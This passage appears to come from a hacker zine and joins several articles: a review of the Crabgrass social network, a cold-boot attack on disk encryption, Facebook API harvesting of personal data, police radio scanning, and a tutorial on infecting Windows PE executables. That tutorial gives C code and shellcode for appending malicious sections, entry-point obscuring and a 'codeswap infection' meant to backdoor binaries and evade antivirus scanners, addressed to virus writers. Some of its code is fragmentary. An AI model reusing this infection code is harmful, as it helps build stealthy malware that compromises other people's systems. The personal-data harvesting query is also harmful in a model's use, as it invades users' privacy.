code; so any security holes will be found and fixed quicker, with- out the need
to wait for some corporate oversight committee to fix the bug. The next
important point is that Crabgrass is not for profit, so you definitely don't
have to worry about your private messages being parsed for advertising, or that
your profile information is being sold to unscrupulous corporations. 

The most important feature of Crabgrass however is it's built in security from
the start. I have been using Crabgrass for a few days now, and I have to say I
am impressed with some of the security features. The first thing that impressed
me was that you don't need any sort of email to sign up for an account, this
means that an account could never be traced back to you if you didn't want it
to, and you don't even have to set up a junk email account to do it. The next
thing I noticed was that Crabgrass uses https (that's HTTP Secure for all those
of you not in the know) by default, so your connection to the server is always
encrypted. Once you do create an account you run into my first an only problem
with security, there is a feature in crabgrass to view a list of all people that
are using the software. While this is unfortunate, I have a feeling that it will
be mitigated in later versions of the crabgrass software. Its not even that big
of a problem right now though, because clicking on someone's profile will not
give you any information by default. The main social organizing tool that
crabgrass uses is groups, unlike friends in other social networks which are
freely and loosely defined, the networks in Crabgrass are defined by groups.
Groups are private by default, which means that they cannot be found in the
list of groups and communications within them cannot be searched. You can make a
group public easily, but it is not the default which is nice. When a group is
private all its members and all of its messages are hidden from the public, even
its very existence. The only downside to this is that if you go to
we.riseup.net/<groupname> you can verify that the group exists if you don't get
a 404 error. Even in that case, you can only enumerate groups, it still doesn't
give you any information about the group. I learned later that there is no real
way to get around this problem because even if you had it return a standard page
for all groups existing or not, you could enumerate groups by trying to create a
group with that name. Another security feature of groups is that you can not
automatically join a group, all group joins must be approved by the creator of
the group. So you will never get a member you don't want, even in public groups! 

Crabgrass offers some really neat features to help a group of people working on
an activist project together organize and distribute information in a secure and
efficient way. It offers tools such as group based to do lists. Personal to do
lists. Group chat rooms, discussions, private messages and wiki pages. It also
offers the ability to make completely separate public and private profiles,
although the profile code is not done yet, so I could not review that at this

I spent a little time talking to one of the developers of Crabgrass and he
informed me that there is no super user in Crabgrass, this is a pretty neat
feature, this means that if someone's account was ever compromised, the attacker
would only be able to affect that account, and not affect anything outside of
that account or the groups its a part of. This is an effective way to contain
any damage. On top of all this, the crabgrass project is hosted on the robust
and super secure riseup.net servers. These people put a lot of time and thought
into making their servers as secure as possible. 

In conclusion, Crabgrass, although still in its alpha stages and full of bugs is
shaping up to be very excellent software. It is clear that the developers have
put a lot of thought and time into building a Social Network that figures in
security from the ground up, I predict that this software will develop into a
great full fledged organizing system. The revolution will not be hosted on
MySpace, but it may very well be on Crabgrass.        

 The PE File Format and it's Dark Side  part 2          by Nomenumbra/[0x00SEC]

[0x05] The Dark Side of This Information

"Well very interesting and all Nome you'll say, but how's this gonna help me
h4x?" Well, there are several approaches we can take, I will discuss two:

 0) Backdooring PE files trough PE infection (both appending and EPO)
 1) Compressing/Encrypting your executables to make them smaller and less likely
    to be detected by AV engines.

In this article we'll discuss PE backdooring/infection, writing a crypter /
packer will be fairly easy once you've mastered the concept of manipulating PE
file modification, since you can easily use self-decrypting/unpacking code
instead of malicious code. In the context of hacking we'd have, for example, the
following scenario in mind:

Take a well known binary that is run frequently by a user with higher privileges
and add some shellcode (re- verse shell, add user, whatever) to it while still
having a fully functional original binary. In the VXing context it's pretty
clear, we'd want to append/employ EPO to infect a target file with our virus.
Since this concept has been chewed and documented over and over again in the
VXing scene, and the concept is generally the same, i'll just focus on the
general concept, not viral or hacking specific , but as I said, the theory is
generally the same, and you could just use viral code (the executing app) as
well as prefixed shellcode. 

First of all we'll discuss appending. Appending to a PE file basically comes
down to adding an extra section to the PE and making the entrypoint point to the
beginning of this section which executes our code and transfers control back to
the original entrypoint, so our code will be execute before the real application
code, without the user noticing a huge difference. 

Now, let us sum up what needs to be done to Append our code to a PE file.

  [0] Create a new section header for our malicious section
  [1] Create a new section with our malicious code
  [2] Update PE image details relevant to section count,size,etc
  [3] Change the PE entry point
  [4] (OPTIONAL) Mark the file as infected (in case of a viral infection, to
      avoid double infections)

Now, you might wonder how we allocate space for that extra section header?
Simple .. we don't, there is always space for at least one extra section header
in the PE file format. So let's get our hands dirty . First we must create a new
section header, which should be located directly after the last section header
in the original image. So let's locate the last section header.

 IMAGE_SECTION_HEADER* sectiontable=(IMAGE_SECTION_HEADER *)&szBuffer[iDosHeader
->e_lfanew+0x18+iFileHead->SizeOfOptionalHeader]; // section table

Note that 0x18 is the size of IMAGE_FILE_HEADER (0x14) + 0x4 (IMAGE_NT_HEADERS
signature dword). So now sectiontable is an array of pointers to section tables.
Accessing the last section header is fairly

 IMAGE_SECTION_HEADER* lastsection=&sectiontable[iFileHead->NumberOfSections-1];
                 // last section

Why sectioncount-1? Simple, because if there are 2 sections, our last one will
be element 1 in the array (arrays start at 0 remember ;)

So our new section will have to be located here:
IMAGE_SECTION_HEADER* newsection=&sectiontable[iFileHead->NumberOfSections++];
     // our new section

The ++ auto-increments the number of sections, updating the PE image accordingly
Let's set up our new section:
strcpy((char *)&newsection->Name,".nomenumbra"); // new section's name

As said earlier, section data, like size, offsets and RVAs need to be aligned
according to PE details. A simple macro for aligning values is this:

 #define ALIGN(X,Y) ((X+(Y-1))&(~(Y-1))) which will align value X according to
value Y newsection->VirtualAddress=ALIGN(lastsection->
                    // align new rva
PointerToRawData,iOptHead->FileAlignment); // align new physical offset
           // align new virtual size
          // align new physical size
IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE;               // section flags hurray!

Now we Adjusted the new section fields, let us update the PE image and write our
malicious code to the new section:

 iOptHead->SizeOfCode+=newsection->misc.VirtualSize; // new code size
                // new image size
                //important to adjust this value since the EOF will be set here!
 FileSize = newsection->PointerToRawData+newsection->SizeOfRawData;
                // physical offset + physical size (EOF)
                // update the entrypoint to make it point to our code                                                                              // point into our code
 for(i = 0; i < shellcode_size; i++)
   szBuffer[newsection->PointerToRawData+i] = scode[i];
                // write our malicious code to the new data (that's why we
                // mapped the file with size + shellcode_size, to avoid b0fs)

This is basically all the code that is necessary to add an extra section and
make code execution start there. This leaves us with one more subject, the
CreateJumper function. This function will adjust our malicious code to transfer
control back to the original entrypoint after it's done executing. Say we'd
original have a piece of code that does nothing else than jump to the original

unsigned char scode[7];
strcpy(scode,"\xBF\xEF\xBE\xAD\xDE\"                // mov edi,0xDEADBEEF
          "xFF\xE7"                                 // jmp edi
int shellcode_size = sizeof(scode);
void CreateJumper(unsigned char* scode,DWORD EntryPoint)
  *(DWORD*)(scode+ENTY_POINT_OFFSET) = EntryPoint;

The CreateJumper function will modify the DWORD at scode+1 (the beginning of the
little endian 0xDEAD- BEEF) to be the original entrypoint of the PE image. This
piece of code will move that address into edi and then jump there. Just prepend
whatever malicious code you want to this jump and update the ENTRY_POINT_OFF-SET
accordingly to have it work. Do note however that your malicious code may make
no direct address references, but needs to either do a delta offset adjustment,
like all PE Appending viruses do (just read lord Julus' tutorial in the resource
list) or use use the call/jmp/pop trick like shellcode usually does, then all
will be fine. 

Now let us look at the downsides of PE Appending. First of all it's fairly
obvious when a PE file's entrypoint points outside the usual code section. Most
debuggers will immediately alert the reverser of a potentially self-modifying/
packed or infected PE file. Also anti-viral heuristics might report the file
(when there are some other factors present as well, like an incorrect checksum,
which usually indicates an infection mark, to prevent double-infection) as being
infected. To counter these downsides, EPO was invented. EntryPoint Obfuscation/
Obscuration (EPO) is a technique that will leave the entrypoint intact but still
make the malicious code execute first. 

How can we do this? Well the most basic method would be the one employed by the
old Cabanas virus, we take the first 7 bytes at the original entrypoint and
overwrite them with a jump to our new section (or we could simply extend the
original code section and include our code there, which is fairly trivial when
adapting the above code a bit). 

Let us look at the following example:

Before modification:
{[email protected]}
00401000 >/$ 6A 00       PUSH 0               
                                        ; /Style = MB_OK|MB_APPLMODAL
00401002 |. 68 00204000  PUSH calc.00402000   
                                        ; |Title = "shitcrypt v1.0 test 1 2 3 4"
00401007 |. 68 00204000  PUSH calc.00402000   
                                        ; |Text = "shitcrypt v1.0 test 1 2 3 4"
0040100C |. 6A 00        PUSH 0               
                                        ; |hOwner = NULL
0040100E |. E8 40000000  CALL <JMP.&USER32.MessageBoxA> 
                                        ; \MessageBoxA

After modification:

{[email protected]}
00401000 > $ BF 00504000   MOV EDI,calc.00405000
                                        ; New section with our code
00401005 ? FFE7            JMP EDI
00401007 . 68 00204000     PUSH calc.00402000 
                                        ; |Text = "shitcrypt v1.0 test 1 2 3 4"
0040100C . 6A 00           PUSH 0           
                                        ; |hOwner = NULL
0040100E . E8 40000000     CALL <JMP.&USER32.MessageBoxA> 
                                        ; \MessageBoxA

What is important is that at the end of our malicious code there should be a
reset of the original 7 bytes at the entrypoint and then a jump back to the
entrypoint. The following code would accomplish that:

 mov edi,0DEADBEEFh
               ; 0xDEADBEEF will be modified into the entrypoint address
 mov eax,0CAFEBABEh
               ; eax is the first 4 bytes of the original code at the entrypoint
 stosd         ; store them
 xor eax,eax
 mov ax,0DEADh ; next 2 bytes of the original code
 xor eax,eax
 mov al,0Ah    ; last byte of the original code
 sub edi,7     ; substract 7 from edi and jump there, edi is now the entrypoint
                 address again.
 jmp edi

In shellcode form it would look like this:

unsigned char scode[29];
           "\xBF\xEF\xBE\xAD\xDE"        // mov edi,entrypoint
           "\xB8\xBE\xBA\xFE\xCA"        // mov eax,original dword @ entrypoint
           "\xAB"                        // stosd
           "\x33\xC0"                    // xor eax,eax
           "\x66\xB8\xAD\xDE"            // mov ax,orignal word @ entrypoint + 4
           "\x66\xAB"                    // stosw
           "\x33\xC0"                    // xor eax,eax
           "\xB0\x0A"                    // mov al,orignal byte @ entrypoint + 6
           "\xAA"                        // stosb
           "\x83\xEF\x07"                // sub edi,7 (edi == entrypoint again)
           "\xFF\xE7"                    // jmp edi);

Now we should modify the values (entrypoint, original bytes) at the according
offsets and write this piece of code to the new section, of course we should
first prepend our real malicious code to this restoration code. Also note that
the section flags of the code section should have the addition of being
writeable (do a logical or on them with IMAGE_SCN_MEM_WRITE) in order to allow
code restoration. 

Now this method is quite OK, but most AV scanners will still pick this up by
checking for a suspicious jump outside of the current section at the entrypoint.
GriYo's Marburg virus added random junk code before the jump to another section,
but newer AV emulators can trace trough it, so we need to find another method
for true, stealthy EPO. 

In his article "EPO: Entrypoint Obscuring" GriYo introduced a method of scanning
the target code section for API calls and inserting an EPO jump after them. This
method involved looking for the FF15 opcode (call <addr> opcode) check if the
<addr> lied within our code section (by checking if the rva (<addr> - imagebase)
lied between the code section VirtualAddress and VirtualAddress+VirtualSize, if
so it would overwrite the instruc- tion after the call with a call to our viral
code, where our viral code would simply pop the retaddr of the original
instruction so it could set everything back again. The benefit of this method
was that AV scanners would first spot a call inside the code section and not
mark the file as employing EPO. The mayor downside was that if the first
suitable infection spot lied after a conditional branch there might have been a
chance that the virus wouldn't get executed at all. He improved this as he
discussed in detail in his article "EPO: Entrypoint Obscuring". 

Now, although this method proved quite efficient Piotr Bania raised some
important questions in his article "Fighting EPO viruses". Quoting him:

    "As mentioned before, the virus injects the call instruction by overwriting
    it with a randomly found call. As the application size grows (and also the
    injected call range from the entry-point), it becomes increasingly difficult
    to find the injection of the virus. On the other hand, while using this EPO
    technique reduces the risk of virus execution, there are also some cases
    when the "call-to-virus" will not be executed at all." 

At this point, let's find a way to detect such injections such that it does not
cause false alarms. How difficult is it to find CTX.Phage injections? First of
all, the virus inserts a call instruction as follows:

E8 ?? ?? ?? ?? CALL XXXXXXXX

E8 is the CALL instruction opcode, ?? ?? ?? ?? is the instruction operands
Before we go any further, let's summarize all the information we know about the
current EPO:

The injection is always done somewhere behind the entry-point.
The injected call executes the virus code which is stored always in last section
(this bit of information is re- ally helpful). As the reader probably knows, we
could simply search for 0xE8 bytes (call opcodes) but there is large possibility
that we might find some "suspicious" call that thands in non-call instruction,
for example: 68 332211E8 PUSH E8112233 

As you can see, this is the push instruction, but the scanner finds the E8 byte
and could consider it as a call. Unless we don't want to build up our 
disassembler engine (which is very long and hard work) we need to find another
way. Yes, you guessed it: we need to add a condition for the E8 byte scanning
routine, remembering that the call always executes code that resides in last
section! Now that everything is clear, here are the conditions we require:

temp_loc = (DWORD)((DWORD)pSHC->VirtualAddress + i + (*(DWORD*)loc)) + 5;
if (temp_loc >= pSH->VirtualAddress && temp_loc <= pSH->VirtualAddress +
  pSH->Misc.VirtualSize) BAD_CALL = 1;

temp_loc is the calculated destination of found call (E8 opcode)
pSH is the header of last section
+ 5 is the size of call instruction (opcode + destination)
A sample temp_loc calculation might look as follows:

Scanned instruction:
00401025 \. E8 58270000 CALL <jmp. &kernel32.exitprocess="">
Calculation: temp_loc = 1025 (virtual address) + 00002758 (call destination) + 5
  (size of call instruction)

If the temp_loc address resides somewhere between last section's virtual address
(start) and the last section's virtual address + its virtual size, the call is
marked as suspicious." This method works like a charm indeed, hence why many
heuristics scanners employ this method. There is however one crucial weakness in
this method:

"The injected call executes the virus code which is stored always in last
section (this bit of information is really helpful)."

It relies on the fact that the EPO jump is considered to always jump to an
appended section. So what if it didn't? Hmm interesting. We have to make a
choice as in what is the most important goal we want to achieve. "Full" stealth,
or making sure the host app code execution flow doesn't get corrupted in ANY

If we choose the first or second, we might do the following:
Scan host code for a jump/call inside the host code, see where it references to
and at this point insert a jump/call to our viral code stored in, for example,
an extra section.

However there is one BIG downside (apart from the same improbability of viral
execution as with GriYo's method) in this case, check the following example:

{[email protected]}
   <some code>
   test eax,eax
[0] call Label1
   <who cares>
[1] mov ebx,0xCAFEBABE
   jz roflmao
   <some more code>
   <yet some other code>

When we would follow our method, we would encounter the call at [0] and insert
our jump/call to the viral code at [1]. Now the problem lies in the fact that
after the test eax,eax before [0], the zero flag is set, code execution
continues from [1] to our viral code and potentially the zero flag gets messed
up, rendering differ- ent results at the jz after [1]. We can't possibly take
all this into account so we'll have to find another, reliable, stealthy method
without interfering with code execution flow.

To do this, I thought up a way i'd like to call "Codeswap infection":
 [0] Find section the entrypoint is located in
 [1] Check if there is enough space in this section for our malicious code +
     jump to restoration routine
 [2] Generate a random address inside this section, leaving us enough space to
     store our mal. code + jump
 [3] Create a new section of size = sizeof(malcode)+sizeof(jump)+
 [4] Backup X bytes from the address in the host code we are gonna store our
     mal. code and write these X bytes to the new section. X is the size of the
     mal. code + jump
 [5] Write our mal. code to that address
 [6] Create a jump to address (RVA of new section+sizeof(malcode)+sizeof(jump)),
     this address is right after our backed up original code
 [7] Append this jump to the mal. code in the host code body
 [8] Create the restoration routine and write it to the address generated in [6]
 [9] Point the PE entrypoint to the address in the host code we wrote our mal.
     code to

Our restoration code should look like:
  mov edi,0DEADBEEFh ; malicious code address
  mov esi,0CAFEBABEh ; new section RVA+imagebase
  mov ecx,0D3F4C3D1h ; section length
loop looplen
  mov edi,0DEADFED2h ; PE entrypoint
  jmp edi

I will now provide some sample code in C which should be easily portable to ASM
for anyone with at least some experience in PE manipulation and a decent
understanding of ASM. The reason I choose to write this code in C is that the
whole concept will be a lot clearer this way and to help people who are not that
familiar with everyday ASM usage:

#define MAL_OFFSET 1
#define ORG_OFFSET 6
#define LEN_OFFSET 11
#define ENT_OFFSET 20

void CreateRestorationCode(unsigned char* scode,DWORD malcode,DWORD newsect,
DWORD restorelen,DWORD entry)
  *(DWORD*)(scode+MAL_OFFSET) = malcode;
  *(DWORD*)(scode+ORG_OFFSET) = newsect;
  *(DWORD*)(scode+LEN_OFFSET) = restorelen;
  *(DWORD*)(scode+ENT_OFFSET) = entry;

         //scode is our malicious code
unsigned char jmpcode[7];
         // A piece of jump code, a jump to the next shatter piece that will be
         // inserted after each shatterpiece, the jump after the last
         // shatterpiece will jump to the restoration code.

unsigned char restorecode[26];
strcpy(restorecode,"\xBF\xEF\xBE\xAD\xDE"  // mov edi,<addr of malicious code>
             "\xBE\xBE\xBA\xFE\xCA"        // mov esi,<addr of original code>
             "\xB9\xD1\xC3\xF4\xD3"        // mov ecx,<length of malicious code>
             "\xAC" // lodsb
             "\xAA" // stosb
             "\xE2\xFC" //loop <looplabel>
             "\xBF\xD2\xFE\xAD\xDE" // mov edi,<entrypoint address>
             "\xFF\xE7"); // jmp edi

int shellcode_size = sizeof(scode)+sizeof(jmpcode)+sizeof(restorecode);
IMAGE_SECTION_HEADER* sectiontable=(IMAGE_SECTION_HEADER *)&szBuffer[iDosHeader
 ->e_lfanew+0x18+iFileHeader->SizeOfOptionalHeader];          // section table
IMAGE_SECTION_HEADER* lastsection=&sectiontable[iFileHead->NumberOfSections-1];
                    // last section
int entrysection_id = 0;
for(i = 0; i < iFileHead->NumberOfSections;i++)
  if((iOptHead->AddressOfEntryPoint >= sectiontable[i].VirtualAddress) &&
    (iOptHead->AddressOfEntryPoint <= sectiontable[i].VirtualAddress+
    // entrypoint section id
    entrysection_id = i;
if (sectiontable[entrysection_id].oe_physsize < (sizeof(scode)+sizeof(jmpcode)))
  // quit code here and reset everything!

DWORD TargetRawAddr = rand()%(sectiontable[entrysection_id].SizeOfRawData-
  (sizeof(scode)+sizeof(jmpcode))) + sectiontable[entrysection_id].
// Generate a random address in the code section where our viral code will fit
DWORD delta = (TargetRawAddr - sectiontable[entrysection_id].PointerToRawData);
DWORD TargetRVA = sectiontable[entrysection_id].VirtualAddress + delta;
// virtualrva + physical delta
printf("[+]Inserting viral code at RVA %#x == Raw addr %#x...\n",TargetRVA,
newsection=&sectiontable[iFileHead->NumberOfSections++];     // our new section
strcpy((char *)&newsection->Name,SectName); // new section's name
  VirtualAddress,iOptHead->SectionAlignment);                // align new rva
                                       // align new physical offset
                                       // align new virtual size
                                       // align new physical size
  MEM_READ;                            // set new section flags so we can edit
printf("[+]Created new section...\n");
iOptHead->SizeOfCode+=newsection->Misc.VirtualSize;       // new code size
                                       // new image size
FileSize = newsection->PointerToRawData+newsection->SizeOfRawData;
                                     // physical offset + physicall size (EOF)
printf("[+]Updated PE image...\n"); // copy original bytes to new section
DWORD NewSectionBackup_Addr = base+newsection->PointerToRawData; // new section
      // backup space that will be overwritten (malicious scode and jumper code)
printf("[+]'Backed up' original data in new section...\n");
memcpy(base+TargetRawAddr,&scode,sizeof(scode));         // write malicious code
printf("[+] Wrote malicious code to target spot...\n");
DWORD RestoreAddr = iOptHead->ImageBase+newsection->VirtualAddress+sizeof(scode)
+sizeof(jmpcode);             // address of restoration routine in new section,
                              // located after backup data

CreateJumper(jmpcode,RestoreAddr);             // ‘backup section' addr, points
     // to restoration routine
                                       // copy jumper code after malicious code
printf("[+]Created jumper code to restoration routine, appended it after
  malicious code...\n");
  iOptHead->ImageBase+iOptHead->AddressOfEntryPoint); // create restoration code
printf("[+]Created restoration routine, appended it after backup data in new
iOptHead->AddressOfEntryPoint = TargetRVA;

There are of course many variations possible, we could for example leave the PE
entrypoint intact and insert a jump (with potential opaque-predicate based dummy
code to confuse emulators) to our piece of overwritten host code, we could also
locate the restoration routine inside the host body and make it self-restore.
Important would be to randomize the registers used in the jump code-linking.
Just, instead of 0xBF (mov edi) use another register, randomize this, it's
fairly easy. The same goes in this case for the jmp edi (0xFF 0xE7). 

Another idea might be to position our mal. code + jump BEFORE the entrypoint (if
there is space of course), leave the EP intact and insert a jump to this spot at
the entrypoint. Yet another idea might be to shatter the code over different
sections and link them together with jumps, creating code islands like z0mbie's
code in- tegration engine from Zmist.

There are many plays on this theme as you can see and although there are hordes
of things that could use some fixing / perfectioning, it does get you familiar
with the possibilities of EPO, and gives you a jump to de- signing your own
preferred methods. 

There are many plays on this theme as you can see and although there are hordes
of things that could use some fixing / perfectioning, it does get you familiar
with the possibilities of EPO, and gives you a jump to designing your own
preferred methods. 

"Appending to the PE File"      Lord Julus - 1999
"Entrypoint Obscuring"     GriYo
"Fighting EPO viruses"     Piotr Bania

Shouts and greets go to the Nullsec folks ;) the whole of RRLF, the .aware crew,
xzziroz, PullThePlug, SmashTheStack, HackThisSite, the #dutch folks , #vxers and
#vx-lab on undernet, irc.blackhat.ru, what's left of 29A and every true blackhat
and scene lover out there, stick together guys!

 Full Disk Encryption Attacks                                       by HackBloc

If all your equipment was taken tomorrow what would someone be able to find out
about you? Think of all the data stored on old hard drives, CD / DVD ROMs, USB
keys and other media you might have around. All of this could be taken as
evidence by police or federal agents if your home were raided, and in all
probability you wont ever see it again. There are several techniques one could
implement that make it harder for them to recover any of your data. One of which
is disk encryption which we will be discussing in this article. 

There are two methods of encrypting your disks, you can either encrypt specific
files and folders or the entire disk. The problem with the former is that if an
attacker were to analyze your disk they will be able to see that certain parts
are encrypted and they will spend their time trying to crack that. It pretty
much paints targets on your encrypted files, that's not to say this technique is
useless, depending on the encryption algorithm it can still be very strong,
though it does allow more analysis of your machine including files that might
not be encrypted such as cookies, chat logs, operating system files and
temporary files. 

The other technique mentioned is encrypting your entire disk not just certain
parts. The benefit of this is that everything including the temporary files,
operating system files and meta data such as the file names and modification
timestamps are going to be encrypted as well, which will help to keep those
pesky federal agents out of all your secrets. Unless you had a few hundred
thousand years to spend cracking the encryption key your data will be secure.
Recently a team at Princeton University wrote a paper about how to extract the
encryption key from the RAM module and from this decrypt the entire disk. 

Most people think that when you shut off your computer the data stored in the
RAM is erased right away, this is not true. Due to what is called "Memory
Remanence" data stored in your RAM can exist with out decaying for minutes even
hours under the right conditions. This is bad news for those who are using disk
encryption. The problem here is that for the computer to be able to read what is
on your encrypted hard drive it needs to have access to the key, which is stored
in the RAM. As you can probably tell, if the data on the RAM is still there when
the machine is turned off, then the encryption key must also be there too. At
room temperature the quickest the RAM decayed to its default or ground state was
2.5 seconds, the longest being 35 seconds, it depends on your RAM, factors like
how new it is, make / model etc. The Princeton team did notice that regardless
of the type of RAM they all decayed with similar patterns. 

The Princeton University Team used cans of compressed air to cool the RAM to
approximately -50C while the machine was running. Their tests confirmed that at
these temperatures the RAM would retain its data for a much longer period of
time. In their tests they were able to keep 99.9% of the RAM intact without
power for up to 60 second. When the chips were placed in liquid nitrogen for an
hour they only experienced 0.17% data lose which would suggest that the RAM
could hold the data for hours if not days before decaying at these temperatures.

The image above is from the paper put out by Princeton University on the topic.
It shows how an image file decays after 5 seconds (left), the image is pretty
much the same as the original, the next is after 30 seconds, then 60 seconds,
and 5 minutes. If the attacker were forced to leave the RAM without power for
too long the data will become corrupted. You can lower the rate of corruption by
cooling the memory prior to cutting power, this will greatly decrease the amount
of data lose. Another method that The Princeton Team used is to apply algorithms
they developed to correct errors in both private and symmetric keys. So what you
have a very cold stick of RAM with an encryption key on it, what now? If you
have access to your target machine and its powered on, all you would need to do
is cold boot it by holding the power button or removing the power cord and
plugging it back in. Then the simplest method to get the keys off is to boot to
a USB key with a custom kernel on it, you need this kernel to leave only a very
very small footprint on the memory to prevent overwriting the key. Once you boot
to the USB key it would make image the RAM and copy this to itself allowing you
to extract the key from it at a later time. The Princeton team put a video of
this process on their website, the entire attack only took a few minutes and was
almost completely automated by the tools they created.

Another attack one could use is to again cut power to the machine, not turn it
off but cold boot it, then swap the DRAM module into another com- puter already
setup to image the chip. You would then continue the same way as before but this
time you are copying the image to the hard disk instead of a USB key. By using
this method you prevent the BIOS or other hardware the chance to clear the
memory while booting up. 

Once they had the data the Princeton team analyzed the image from the ram and
were able to extract the key. Even when some of the data on the chip had already
decayed they were still able to extract the key and com- plete the attack. On
their site they give a better explanation of finding and cracking the key, its a
little beyond the scope of this paper. 

Increasing the Life of the Data: If you were to hold a can of compressed air
upside down and spray it would come out as a very cold liquid instead of a gas,
the evaporation of the gas causes and additional chilling, by spraying this
directly on the memory module the Princeton team was able to cool the chip to
-50C and below. They were able to keep al- most all the data on the chip even
after it was out of the computer for several minutes. As mentioned above when
the chip was placed in liquid nitrogen it was able to keep almost all its data
without decaying for numer- ous hours. These attacks work against Apple's
FileVault, the BitLocker Drive Encryption feature included in the Enterprise and
Ultimate versions of Windows Vista, the open-source tool TrueCrypt, and the
dm-crypt module built into Linux kernels. 

These attacks prevent a risk to anyone who relies on disk encryption, even if
your machine is locked by a screen saver, or in some form of hibernation the key
can still be extracted. These do not provide any security. There are no easy
fixes to this problem at this time, the best method of preventing these attacks
is to shut your computer down completely before walking away from it, do not
walk away from it if your in a place where someone could potentially walk away
with it. These attacks are pretty advanced and require lots of technical
knowledge to use. If your just worried about a common thief stealing your
computer while you sit at a coffee shop, you disk encryption should keep your
secrets. If your worried about federal agents, NSA etc then you need to consider
the local security of the machine. 

 All Your Facebook Are Belong to Us                                 by Flatline

We all love communication, it is at the essential nature of humanity, we are
inherently social beings for the most part. In this Internet age social networks
have become an increasingly central way for people to communicate. Recently,
Facebook, one of the more popular social networks has released an API whereby
people can create applications that run within Facebook. This seems like a good
fun thing at first, but all those cute little applications that let you slap and
poke your friends, track football teams or share recipes with your friends have
a insidious underside. I am talking about the dual demons of marketing and
identity theft. Any application that you have added on Facebook is by default
allowed to access all the information on your profile through a very simple API.
Using this method I collected personal data on 100,000 people simply with a few
lines of code and a Facebook application that went viral. Here I will show you
how I dit it.

The first step is to write a Facebook application, the Facebook network has an
API or Application Programming Interface that is public. What this means is that
anyone who wants to can write an application that will hook into the Facebook
site and the Facebook database. The applications are primarily writ- ten in PHP
(although there are a large number written in Java, Ruby, Python and even C++).
How it works is, the application is written with calls to the Facebook API. Then
when a user visits your application via the Facebook website, Facebook uses a
technique called REST to request the application from your server and display it
via Facebook. The Facebook API offers a lot of features to the developer that
allow seamless interaction with the database and UI, but what we are interested
in is the API's ability to access the Facebook database. 

Once you have your application written and it has gotten quite large (100,000
users is a modest Facebook application, these things really do have a tendency
to go quite viral), it is time to start the information digging. Each Facebook
application can access many many stats on each user including but not limited to
Name, username, Gender, Sexual Preference, Religion, Political Preference, Age,
Geographic Location, Inter- ests, Facebook networks and a list of their Facebook
friends. How would one do this you might ask? Just a few simple lines of code: 

         /*This is the magic line! This line gets all the info we need, as you
can see right here I am only getting the birthday, gender, geographic location
and education level of the user, but I could get all of the things mentioned
above just as easily). This assumes that the user ID has been already stored in
the variable $user. */

$foo=$Facebook->api_client->sql_query("SELECT birthday, sex, current_location,
education_history FROM user WHERE uid = $user");
// Start the query
$query = "INSERT INTO users_information (uid, sex, city, state, country, school,
birthday) VALUES (‘$uid', ‘$sex', ‘$city', ‘$state', ‘$country', ‘$school',
‘$birthday') ;

Just those simple lines of code was all it took me to get all the data on
100,000 Facebook users. Of course being a responsible citizen I promptly deleted
the data after I collected it, removed my application and de- leted my Facebook
account. But what if I was not a responsible citizen? I could have sold that
data to mar- keting companies such as double click or choice point. I could have
sold that data to identity theives or con artists or spammers to easily fool
people into loosing their money and livelihoods. I could have even sold that
data to government agencies intent upon mapping out social networks and
interests of people and cre- ating personality profiles for everyone in their
country. I can guarantee you with 100% certainty that people are doing all 3 of
those things as your read this article. I know because I have talked to them, I
have sat in conference rooms with them and stared into the eyes of the abyss. 

Well, the easiest and best thing you can do is delete your Facebook account
right now. I am serious, even if you add one application you can bet that your
data is being bought and sold, that is how these applications make money. Even
if you don't add an application you can bet that coders with no conscience will
be writing scripts to steal your information and map out your social networks.
Short of that, when you add a Facebook application you can select a box to not
allow it to access your personal information, but many applications wont allow
you to add them if you don't let them access your information.

Switching to myspace or orkut won't help either. To compete with Facebook they
are going to open up their API's to developers also, specifically both of those
networks will soon be using Google's ‘Open Social' API. I have done some
research into this API and I can tell you that the method of getting all of the
users data is almost exactly the same, and its just as easy. 

Alternatively you could just put a load of fake information up about yourself
including a fake name and fake pictures, but this still lets people identify
naturally occurring social networks. So the best bet is just not to create an
account on a social network at all. If you must, I recommend using Riseup.net's
Crabgrass social network written about in this issue of HackThisZine.

 Communication Systems and Technology

There is a great deal of communications technology available to us today. I'm
going to cover, very briefly, a few devices I think anarchists could use.

Radio scanners are invaluable tools for gathering information that is being
broadcast by someone else. They work by scanning through a great number of
frequencies in a short amount of time looking for active broadcasts. When an
active broadcast is found, the scanner stops so the user can listen to it.

The FCC, the agency responsible for allocating radio frequencies for different
uses typically allocates a certain band, or group of frequencies, for each
technology. This means that if, for example, you wanted to listen to the
transmissions of air traffic controllers, you could get on the internet and find
out that the FCC has allocated the range of frequencies from about 960 MHz to
about 1215 MHz for that purpose. You could then use a scanner to search rapidly
between these frequencies, picking up any transmission that occurred. With the
right scanner, potentially connected to the right computer, you could listen in
on almost anything. 

For the purposes of this article, I'll focus on monitoring police frequencies.
Believe it or not, most police frequencies are broadcast in the clear for anyone
with a scanner to listen to. I guess it's done that way so reporters and
military veterans can listen in and feel up-to-date or something.

Getting Started
Scanning your local police department may be easier than you ever imagined. I
suggest going online and using google.com to search for local frequencies. Radio
hobbyists are a resourceful and charitable bunch, and they usually post the
frequencies they find on the internet. Another place you can find frequencies is
in books or magazines. Radio Shack carries a book that lists many of the police,
fire, and EMT frequencies in the country. If all else fails, you can usually
find police channels by scanning around, especially between 150Mhz and 160Mhz.
They're not difficult to recognize!

Once you have the frequencies, consult your scanner's manual (you did keep it,
right?). Depend- ing on your scanner, you should be able to program all the
police frequencies into a ‘bank' of frequencies, so as to scan only that bank.
If you can do this, you'll hear just the police frequencies. Next, you'll have
to adjust the squelch. What is that, you ask? Typically, there will be a knob on
your radio next to the volume knob. This is squelch. When you turn it all the
way down, you will hear that nasty radio noise you hear when your car radio
isn't turned to a station. Slowly turn up the squelch and the noise will go
away. This is a necessary step, because it adjusts your scanner for the amount
of noise that is in your area. If you don't do this, your radio won't be able
to dif- ferentiate between a real signal and mere noise. OK, now you're ready to
start scanning. 

When you first start scanning, the police may sound like they're speaking some
utterly unrecog- nizable dialect of English. Don't be put off, keep listening,
and things will start to make sense. The first thing you'll probably pick up on
is them running names, license plates, and so on. They'll broadcast full names,
birth dates, addresses, and social security numbers. You'll also start to
recognize when they're being dispatched, to which locations, and what for.
Sometimes an officer will even announce his home phone number right over the
air! The more you listen, the better you'll get at figuring out their jargon.

Tip: You may find that a key to the ‘police code', the jargon used on the air by
your local police department, is available for download off the internet.

When looking for frequencies on the internet, you may find that the agency you
want to listen to uses a ‘trunk- ing' system. What the hell is that? The term
‘trunking' refers to a system that uses advanced technology to split up a
